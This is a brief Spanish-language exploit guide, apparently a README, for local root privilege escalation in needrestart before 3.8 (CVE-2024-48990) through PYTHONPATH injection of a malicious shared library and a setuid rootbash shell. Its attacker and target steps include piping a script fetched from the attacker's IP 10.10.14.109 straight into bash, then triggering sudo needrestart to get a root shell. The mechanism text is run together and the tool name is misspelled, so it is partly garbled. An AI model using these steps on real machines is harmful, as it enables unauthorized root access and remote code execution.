
Exploit completo para needsrestart shell setuid root
Escalada de Privilegios Local en needrestart < 3.8 mediante inyección de PYTHONPATH.
PYTHONPATH=/tmp/.m desde /proc/[pid]/environPYTHONPATH malicioso/tmp/.m/importlib/__init__.so (nuestra biblioteca maliciosa)/tmp/rootbash/tmp/rootbash -p para obtener una shell rootPunto Clave: needrestart confía en las variables de entorno de procesos no privilegiados y las usa al ejecutar intérpretes como root.
Atacante:
./compile.sh
python3 -m http.server 8000
Objetivo:
curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py
El proceso e.py debería quedarse en espera y generar una shell root una vez que se ejecute lo siguiente desde un segundo terminal:
sudo needsrestard
el primer terminal iniciará una shell root
Qualys Threat Research Unit - CVE-2024-48990